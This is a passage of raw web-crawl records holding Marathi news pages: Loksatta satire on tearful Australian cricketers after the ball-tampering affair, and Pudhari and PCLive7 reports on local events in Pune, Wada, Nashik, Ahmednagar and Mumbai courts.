आर • आर्त्विन • इझ्मिर • इदिर • इस्तंबूल • इस्पार्ता • उशाक • एदिर्ने • एर्झिंजान • एर्झुरुम • एलाझग • एस्किशेहिर • ओर्दू • ओस्मानिये • करक्काले • करामान • कर्क्लारेली • कायसेरी • काराबुक • कार्स • कास्तामोनू • काहरामानमराश • किर्शेहिर • किलिस • कुताह्या • कोचेली • कोन्या • गाझियान्तेप • गिरेसुन • ग्युमुशाने • चनाक्काले • चांकर • चोरुम • झोंगुल्दाक • तुंजेली • तेकिर्दा • तोकात • त्राब्झोन • दियाबाकर • दुझ • देनिझ्ली • नीदे • नेवशेहिर • बात्मान • बायबुर्त • बार्तन • बाल्केसिर • बिंगोल • बित्लिस • बिलेचिक • बुर्दुर • बुर्सा • बोलू • मनिसा • मलात्या • मार्दिन • मुला • मुश • मेर्सिन • यालोवा • योझ्गात • रिझे • वान • शर्नाक • शानलुर्फा • सकार्या • साम्सुन • सिनोप • सिवास • सीर्त • हक्कारी • हाताय\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल २८ मार्च २०१३ रोजी १५:३५ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "https://www.loksatta.com/ulata-chashma-news/david-warner-steve-smith-broke-down-in-tears-1655554/", "date_download": "2018-09-25T17:13:11Z", "digest": "sha1:KMBB2364XRNGN7D74PXUKMIIXXYXW7R5", "length": 15392, "nlines": 203, "source_domain": "www.loksatta.com", "title": "David Warner Steve Smith broke down in tears | तीन अंकी शोकांतिका.. | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nएकामागोमाग एक संघांना धूळ चारत कांगारूंचा विजयरथ तुफान निघाला होता.\nडेव्हिड वॉर्नर, स्टीव्ह स्मिथ,\nहल्ली आम्ही टीव्हीवर बातम्या पाहू धजावतच नाही. केव्हाही बातम्यांचा च्यानेल लावला, की कोणी एखादा ऑस्ट्रेलियन क्रिकेटपटू रडतानाच पाहायला मिळतो. ‘आय हेट टियर्स’ असं म्हणताना कधी आमच्याही हृदयात कालवाकालव होऊन डोळ्यांच्या कडा पाणावतात. नक्की बातम्याच पाहतोय की एखादी टीव्ही मालिका अशीही शंका मनाला शिवून जाते. त्या ऑस्ट्रेलियन क्रिकेटपटूंच्या सोबतीला कधी वडील असतात, आई असते नाही तर पत्नी असते. डेव्हिड वॉर्नर नामे क्रिकेटर तर दक्षिण आफ्रिकेतून ऑस्ट्रेलियात उतरल्यापासून कडेवर मूल, सोबत पत्नी नि तिच्याही कडेवर मूल असा कुटुंबकबिलाच घेऊन वावरतोय.. माझा नको पण किमान त्यांचा तरी विचार करा ना असंच जणू सुचवायचा प्रयत्न करतो. किती क्लेश होतात अशी दृश्ये पाहून परवा स्टीव्ह स्मिथच्या साथीला त्याचे वडील उभे होते. शोकात्म वातावरणात आम्हीही त्याचं म्हणणं ऐकून घेत होतो, तर आमचा एक व्रात्य मित्र हकनाक ‘मुन्नाभाई’ स्टाइलमध्ये ‘गल्ती तेरे बाप का है, दो लाफा बचपन मेंही मारता तो..’ असा बोल्ता झाला. प्रसंग काय नि हा बोल्तो काय परवा स्टीव्ह स्मिथच्या साथीला त्याचे वडील उभे होते. शोकात्म वातावरणात आम्हीही त्याचं म्हणणं ऐकून घेत होतो, तर आमचा एक व्रात्य मित्र हकनाक ‘मुन्नाभाई’ स्टाइलमध्ये ‘गल्ती तेरे बाप का है, दो लाफा बचपन मेंही मारता तो..’ असा बोल्ता झाला. प्रसंग काय नि हा बोल्तो काय कर्णधार स्टीव्ह स्मिथ, उपकर्णधार डेव्हिड वॉर्नर, प्रशिक्षक डॅरेन लेहमान हे सगळेच चेंडू खरवडल्याप्रकरणी पायउतार झाले किंवा केले गेले. ऑस्ट्रेलियात पत्रकारांसमोर आल्यानंतर बोलत रडले किंवा रडत बोलले. टफ, हार्ड की काय म्हणतात तसले हे क्रिकेटपटू ना कर्णधार स्टीव्ह स्मिथ, उपकर्णधार डेव्हिड वॉर्नर, प्रशिक्षक डॅरेन लेहमान हे सगळेच चेंडू खरवडल्याप्रकरणी पायउतार झाले किंवा केले गेले. ऑस्ट्रेलियात पत्रकारांसमोर आल्यानंतर बोलत रडले किंवा रडत बोलले. टफ, हार्ड की काय म्हणतात तसले हे क्रिकेटपटू ना मग असे रडत कशाला बोलतात मग असे रडत कशाला बोलतात मन काही वर्ष मागे गेलं. त्या वेळी ऑस्ट्रेलियाच्या दिग्विजयी संघाचा कर्णधार होता स्टीव्ह वॉ. एकामागोमाग एक संघांना धूळ चारत कांगारूंचा विजयरथ तुफान निघाला होता. आपल्या विजयाचं रहस्य स्टीव्ह गुर्मीत सांगायचा.. मेंटल डिसिंटिग्रेशन मन काही वर्ष मागे गेलं. त्या वेळी ऑस्ट्रेलियाच्या दिग्विजयी संघाचा कर्णधार होता स्टीव्ह वॉ. एकामागोमाग एक संघांना धूळ चारत कांगारूंचा विजयरथ तुफान निघाला होता. आपल्या विजयाचं रहस्य स्टीव्ह गुर्मीत सांगायचा.. मेंटल डिसिंटिग्रेशन म्हणजे समोरच्या संघाला, त्या संघातील महत्त्वाच्या खेळाडूंना मानसिक पातळीवर उद्ध्वस्त करायचं. झालंच तर रडवायचं. ऑस्ट्रेलियासमोर दारुण हरल्यामुळे इंग्लंड, दक्षिण आफ्रिका, न्यूझीलंड, पाकिस्तान अशा संघांचे कर्णधार, खेळाडू अक्षरश: रडवेले होत क्रिकेटबाहेर फेकले गेले हेही खरंच. त्याच संघातून हल्लीच्या संघाचे मास्तर डॅरेन लेहमानही अधूनमधून खेळायचे. अशी मेंटल डिसिंटिग्रेशनची जाज्वल्य परंपरा असलेल्या संघाचे सध्याचे अधिपती मात्र स्वतच उद्ध्वस्त झाले हे पाहून मन खंतावलंच जरा. त्यांनी चेंडूत फेरफारच केले, म्याच फिक्सिंग नाही केलं काही, असा एक समर्थनार्थ सूर. तर फेरफार काय नि फिक्सिंग काय, फसवणूक ती फसवणूक असा विरोधी सूर. आयपीएल नाही, पुरस्कर्ते नाहीत म्हणूनही असेल ही रडारड, असाही एक खास पुणेरी कणसूर. आमचं मन मात्र स्टीव्ह वॉच्याही आधीच्या काळात रुंजी घालू लागलं नि लख्खकन प्रकाश पडला. त्या वेळी आम्ही शाळेत होतो. काही तरी भयंकर अपराध घडला होता. हातावर हेडमास्तरांच्या हस्ते फूटपट्टीचे पाच रट्टे अशी शिक्षा. त्या मानांकितांच्या लायनीत आम्ही तिसरे. पहिले दोघे मख्खपणे रट्टे खात होते. आम्ही भोकाड पसरलं. हेडमास्तर आले, तसे जमिनीवर लोळू लागलो. हेडमास्तरांच्या डोळ्यात संतापाऐवजी कणव. तरीही म्हणाले, हात पुढे कर.. एक बारीकसा रट्टा दिल्या न दिल्यासारखा बसला.. कसंबसं ओठांवर आलेलं हसू दाबलं आणि..\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%AE%E0%A4%82%E0%A4%A4-%E0%A4%A6%E0%A4%97%E0%A4%A1%E0%A5%82%E0%A4%B6%E0%A5%87%E0%A4%A0-%E0%A4%97%E0%A4%A3%E0%A4%AA%E0%A4%A4%E0%A5%80%E0%A4%B8%E0%A4%AE%E0%A5%8B/", "date_download": "2018-09-25T18:01:03Z", "digest": "sha1:BNLZQSHUQYZ6ORL7NSOME7OSZWHB4YS7", "length": 6200, "nlines": 70, "source_domain": "pclive7.com", "title": "श्रीमंत दगडूशेठ गणपतीसमोर अथर्वशीर्षातून २५ हजार महिलांचा स्त्रीशक्तीचा जागर | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड श्रीमंत दगडूशेठ गणपतीसमोर अथर्वशीर्षातून २५ हजार महिलांचा स्त्रीशक्तीचा जागर\nश्रीमंत दगडूशेठ गणपतीसमोर अथर्वशीर्षातून २५ हजार महिलांचा स्त्रीशक्तीचा जागर\nपुणे (Pclive7.com):- ओम् नमस्ते गणपतये, ओम गं गणपतये नम:, मोरया रे बाप्पा मोरया रे या जयघोषाने तब्बल २५ हजारांहून अधिक महिलांनी एकत्र येत अथर्वशीर्ष पठण केले. यानिमित्ताने पुणेकरांनी स्त्री शक्तीचा जागर अनुभवला. पारंपरिक वेशात पहाटे ४ वाजल्यापासून महिलांनी या कार्यक्रमाला हजेरी लावली.\nॠषीपंचमीनिमित्त श्रीमंत दगडूशेठ हलवाई सार्वजनिक गणपती आणि सुवर्णयुग तरुण मंडळच्या संयुक्त विद्यमानाने या सोहळ्याचे आयोजन केले होते. हे या सोहळ्याचे १२६ वे वर्ष होते. सोहळ्यात गणेश नामाचा जयघोष करत हजारो महिला उत्साहात सहभागी झाल्या होत्या. ३२ वर्षांपूर्वी केवळ १०१ महिलांनी सुरू केलेल्या उपक्रमात आज २५ हजारहून अधिक महिला सहभागी झाल्या होत्या.\nआमदार महेशदादांच्या घरी बाप्पा झोपाळ्यात विराजमान\nदगडूशेठ गणपतीला १२६ किलो माव्याच्या मोदकाचा नैवेद्य\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00207.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/A-thorough-investigation-of-the-attack/", "date_download": "2018-09-25T17:08:26Z", "digest": "sha1:VD7KEC37H3TH5F6ERY7GEGBQW7HR5SY2", "length": 4836, "nlines": 35, "source_domain": "www.pudhari.news", "title": " हल्लेखोराची कसून चौकशी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › हल्लेखोराची कसून चौकशी\nतेजराज मानसिकद‍ृष्ट्या अस्वस्थ होता, असा पोलिसांचा अंदाज आहे. त्यातूनच त्याने हे कृत्य केले असण्याची शक्यता आहे. तेजराजला बेड्या घातलेल्या अवस्थेत तुमकूरला नेण्यात आले आणि त्याच्या भाडोत्री घराची झडती घेण्यात आली. तेथे मनस्वास्थ्यावरची पुस्तके पोलिसांना सापडली. पोलिसांनी या पुस्तकांबद्दल तेजराजकडे चौकशी केली. पण, त्याने काहीच माहिती दिली.\nत्या भाडोत्री घरात तेजराज किती वर्षांपासून राहतो, आधीचे त्याचे वागणे विक्षिप्त होते का असे प्रश्‍न घरमालकाला विचारण्यात आले. पोलिसांचे 9 जणांचे पथक चौकशीसाठी बंगळूरहून तुमकूरला गेले आहे.वकिलांचा बहिष्कारवकील संघटनेने गुरुवारी लोकायुक्‍तांवरील हल्ल्याच्या निषेधार्थ शहरातील दिवाणी न्यायालय आवारामध्ये धरणे सत्याग्रह करत राज्य सरकारने राज्यातील सर्वच न्यायाधीशांना व वकिलांना पुरेसे संरक्षण द्यावे, अशी मागणी केली आहे.\nहल्लेखोर तेजराज शर्माला पोलिसांनी न्यायालयासमोर हजर केले असता न्यायाधीशांनी त्याला 5 दिवसांची न्यायालयीन कोठडी दिली आहे. मल्ल्या इस्पितळ्यातील डॉ. दिवाकर यांनी न्या. विश्‍वनाथ शेट्टी यांची प्रकृती सुधारत असल्याचे सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00207.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Accident-of-collapsed-on-the-gate-injured-Shailesh-Waiting-for-help/", "date_download": "2018-09-25T16:55:17Z", "digest": "sha1:QYQIEUPTF7W7ZVGYRSGGXC4LR2TKGLEG", "length": 7642, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ‘त्या’ अपघातातील जखमी शैलेश मदतीच्या प्रतीक्षेत | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › ‘त्या’ अपघातातील जखमी शैलेश मदतीच्या प्रतीक्षेत\n‘त्या’ अपघातातील जखमी शैलेश मदतीच्या प्रतीक्षेत\nवाडा : मच्छिंद्र आगीवले\nवाडा शहरात असलेल्या जिल्हा परिषद शाळेत 5 डिसेंबर 2016 रोजी गेट अंगावर कोसळून अपघात झाला होता. ज्यात तन्वी धानवा या दुसरीतील विद्यार्थिनीचा मृत्यू झाला तर शैलेश चव्हाण हा विद्यार्थी गंभीर जखमी झाला होता. या अपघाताच्या जवळपास दीड वर्षानंतरही शैलेश चव्हाण या दुसरीत शिकणार्‍या विद्यार्थ्याची प्रकृती अद्याप ठिक नसून, घटना आठवली की आजही अंगाचा थरकाप उडतो. त्यातच शासनाने तोकड्या मदतीनंतर आपले हात वर केले असल्याने आता या विद्यार्थ्यावर उपचार करणे पालकांच्या नाकीनऊ आले आहे.सोबत विद्यार्थ्याचे शैक्षणिक भवितव्यही सध्या तरी अंधारात आहे.\nवाडा शहरातील जिल्हा परिषद शाळेत 5 डिसेंबर 2016 रोजी दुपारी जेवणाच्या सुट्टीत शाळेमागे असलेल्या पडक्या व धोकादायक गेटवर खेळत असताना ते गेट अचानक कोसळले. ज्यात असलेल्या बांधकामाचा मार लागून तन्वी धानवा या विद्यार्थिनीचा जागीच मृत्यू झाला. तर दुसरीत शिकत असलेल्या शैलेश चव्हाण याला जबर दुखापत झाली. त्याला तात्काळ ठाणे येथे उपचारासाठी नेण्यात आले व पुढे जे. जे. रुग्णालयात हलवण्यात आले. या विद्यार्थ्याच्या दोन्ही पायांना जबर मार लागल्याने त्यावर अनेकदा शस्त्रक्रिया करण्यात आल्या. मात्र अद्यापही त्याच्या प्रकृतीत हवीतशी सुधारणा झालेली नाही.\nया अपघातानंतर जिल्हा परिषदेने शैलेशच्या पालकांना 40 हजार व अन्य निधीतून 15 हजार असे 55 हजार रुपये मदत म्हणून दिले. शिवाय शिक्षकांना दोषी पकडून कारवाईही करण्यात आली. कुण्या एखाद्या योजनेतून विमा रक्कम मिळवून देऊ, असे आश्वासन देत तत्कालीन सीईओ निधी चौधरी यांनी विद्यार्थ्याची भेट घेतली होती, असे पालकांनी सांगितले. दीड वर्षात आजपर्यंत उपचारावर जवळपास 4 लाखांचा खर्च करण्यात आल्याचे पालकांनी सांगितले. अद्याप शैलेश आपल्या पायांवर नीट चालत नसून त्याच्यावर उपचार सुरूच आहेत. मात्र, आता हा खर्च पेलणे पालकांना जड जात आहे.\nशैलेश हा मूळचा चाळीसगाव येथील रहिवासी असून वडील एक कारखान्यात कामाला होते. मात्र त्यांचा हा कारखाना बंद झाल्याने ते एका दुकानात काम करतात व आई शाळेत काम करते. मुलांना उज्वल भविष्य देण्याच्या उद्देशाने वाड्यात आलेल्या या चव्हाण कुटुंबाला या वादळाने पार झोडपून टाकले असून शैलेशचे दीड वर्षाचे न भरून येणारे शैक्षणिक, शारीरिक व मानसिक नुकसान कोण भरून देणार, असा प्रश्न उपस्थित केला जात आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00207.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/rpi-ramdas-athawale-political-issue/", "date_download": "2018-09-25T16:54:15Z", "digest": "sha1:NDLIDY3YJNHT2TZTRJD5CKQ7U55ZSRRE", "length": 4398, "nlines": 34, "source_domain": "www.pudhari.news", "title": " रिपब्लिकन ऐक्यासाठी प्रसंगी मंत्रिपदाचा त्याग : आठवले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › रिपब्लिकन ऐक्यासाठी प्रसंगी मंत्रिपदाचा त्याग : आठवले\nरिपब्लिकन ऐक्यासाठी प्रसंगी मंत्रिपदाचा त्याग : आठवले\nसंविधान बचावासाठीच मी पंतप्रधान नरेंद्र मोदी यांच्यासोबत आहे. पण, कोणीही उठायचे आणि काहीही बोलायचे. तुम्हाला जे करायचे ते करून मोकळे व्हा. ऐक्य काही जाहीर व्यासपीठावरून बोलून होत नसते, त्यासाठी एकत्र यावे लागेल. त्यासाठी मंत्रिपद सोडण्याची माझी तयारी आहे, अशी घोषणा केंद्रीय सामाजिक न्याय राज्यमंत्री रामदास आठवले यांनी केली.\nकाळाराम मंदिर सत्याग्रहदिनानिमित्त ईदगाह मैदानावर आयोजित जाहीर सभेत ते बोलत होते. ‘मी जय भीम करतो नाशिककरांना, लेकिन मेरे भीम के दुश्मनों को हराना’ या चारोळीने भाषणाची सुरुवात करणार्‍या आठवले यांनी भारिपचे अध्यक्ष प्रकाश आंबेडकर यांच्यावर नाव न घेता टीका केली. मी आंबेडकरी चळवळीतील भीमसैनिक आहे. बाबासाहेबांचा हाती घेतलेला निळा झेंडा काहींना आवडत नाही. भाजपात जाण्याआधी साहित्यिक, विचारवंतांशी चर्चा केली होती.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00207.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Municipal-Corporation-hammer-on-Nandnawan-lawn/", "date_download": "2018-09-25T17:44:13Z", "digest": "sha1:ZN6Q32QQ4YXLVETYDTS7ZO4MXLTGVLH3", "length": 7970, "nlines": 37, "source_domain": "www.pudhari.news", "title": " ‘नंदनवन लॉन’वर महापालिकेचा हातोडा! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › ‘नंदनवन लॉन’वर महापालिकेचा हातोडा\n‘नंदनवन लॉन’वर महापालिकेचा हातोडा\nजिल्हाधिकारी तथा मनपा आयुक्‍त राहुल द्विवेदी यांच्या पुढाकारातून सुरु असलेल्या ‘मिशन सीना’ मोहिमेंतर्गत काल (दि.7) नदी पात्रातील पक्क्या अतिक्रमणांवर कारवाईला सुरुवात करण्यात आली. ‘नंदनवन लॉन’वर कारवाईला प्रारंभ होताच जाधव परिवाराने न्यायालयात धाव घेऊन कारवाईला स्थगिती देण्याची मागणी केली. यावर न्यायालयात आज (दि.8) सुनावणी होणार असून तोपर्यंत ‘जैसे थे’चे आदेश देण्यात आले आहेत. न्यायालयाच्या आदेशामुळे कारवाई थांबविण्यात आल्याचे अतिक्रमण निर्मुलन विभागप्रमुख सुरेश इथापे यांनी सांगितले.\nशहर स्थापनादिनाचा मुहूर्त साधून जिल्हाधिकारी द्विवेदी यांनी सीना पात्राचे रुंदीकरण व खोलीकरणाचे काम हाती घेतले आहे. गेल्या 12 दिवसांत हजारो ब्रास भराव पात्रातून काढण्यात आला आहे. पात्रातील शेतीची अतिक्रमणेही हटविण्यात आली आहे. कारवाई सुरु करण्यापूर्वीच जिल्हाधिकार्‍यांनी जाहीर नोटिसीद्वारे पात्रातील व गाळपेर जमिनींवरील अतिक्रमणे हटविण्याचे आवाहन केले होते.\nत्याला प्रतिसाद न मिळाल्यामुळे कालपासून पक्क्या अतिक्रमणांवर कारवाई सुरु करण्यात आली. जिल्हाधिकारी द्विवेदी यांनी सकाळी पात्रात सुरु असलेल्या कामाची पाहणी केल्यानंतर पक्क्या अतिक्रमणांकडे ‘मोर्चा’ वळविण्याचे आदेश दिले. त्यानुसार अतिक्रमण निर्मुलन विभागाचे प्रमुख इथापे यांच्या नेतृत्वाखाली पोलिस बंदोबस्तात ‘नंदनवन लॉन’वर कारवाई सुरु करण्यात आली.\nभूमिअभिलेख विभागाने केलेल्या मोजणीनंतर हद्दनिश्‍चित करुन खांब (निषाणी) रोवण्यात आला आहे. त्यानुसार नंदनवन लॉनने नदी पात्रात 15 ते 20 फुटांपर्यंत अतिक्रमण करुन सुमारे 10 ते 12 हजार चौरस फूट जागा व्यापल्याची नोंद करण्यात आली आहे. मनपाच्या पथकाने लॉनच्या मागील भागांत सीना पात्राच्या बाजूने कारवाईला प्रारंभ केला. मात्र, कारवाई सुरु होण्यापूर्वीच जाधव परिवाराच्या वतीने न्यायालयात ‘स्थगिती’साठी अज दाखल करण्यात आला होता. कारवाई सुरु असतांनाच न्यायालयाने कारवाईला स्थगिती दिल्याचा दावा करत जाधव परिवाराने कारवाई थांबविण्याची मागणी केली. इथापे यांनी जिल्हाधिकार्‍यांशी संपर्क साधून याबाबत माहिती दिली असता आदेशाची प्रत मिळाल्याशिवाय कारवाई थांबवू नका, असे सांगितले. त्यामुळे कारवाई सुरुच ठेवण्यात आली. मनपाच्या विधिज्ञांकडून इथापे यांना आदेशाबाबत अधिकृत माहिती प्राप्त झाल्यानंतर त्यांनी कारवाई थांबविली. मात्र, न्यायालयात सुनावणी होऊन आदेश येईपर्यंत लॉनमधील पत्र्याचे कंपाऊंड व स्टेज कारवाई करुन तोडण्यात आले होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/4-09-693-cases-pending-in-Mumbai-District-Court/", "date_download": "2018-09-25T16:57:25Z", "digest": "sha1:OCFB5PBHIPXRXFK6LJSAXXYCPPGOE7CL", "length": 6304, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ४,०९,६९३ खटले मुंबई जिल्हा न्यायालयात तुंबले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › ४,०९,६९३ खटले मुंबई जिल्हा न्यायालयात तुंबले\n४,०९,६९३ खटले मुंबई जिल्हा न्यायालयात तुंबले\nशहाण्यानं कोर्टाची पायरी चढू नये, अशा अर्थाची मराठी म्हण आहे. मात्र, त्याचा पुरेपूर प्रत्यय मुंबईकरांना येत असल्याचे दाहक वास्तव चेतन कोठारी यांनी आरटीआयद्वारा मागवलेल्या मुंबई जिल्हा न्यायालयात प्रलंबित असलेल्या खटल्यांच्या माहितीवरून येते. सध्या मुंबई जिल्हा न्यायालयांतर्गत विविध न्यायालयांत 409693 इतके खटले प्रलंबित असून त्यापैकी काही खटले 20 वर्षांपेक्षाही अधिक कालावधीपासून प्रलंबित आहेत. मुंबई न्यायालयात सर्वात जुना खटला हा 1973 मधील असून त्यावर आता माझगाव-शिवडी न्यायालयात सुनावणी सुरू आहे.\nविशेष म्हणजे कोठारी यांनी मागविलेल्या माहितीवरून मुंबई जिल्हा न्यायालयांतर्गत 73 न्यायालये कार्यरत आहेत. 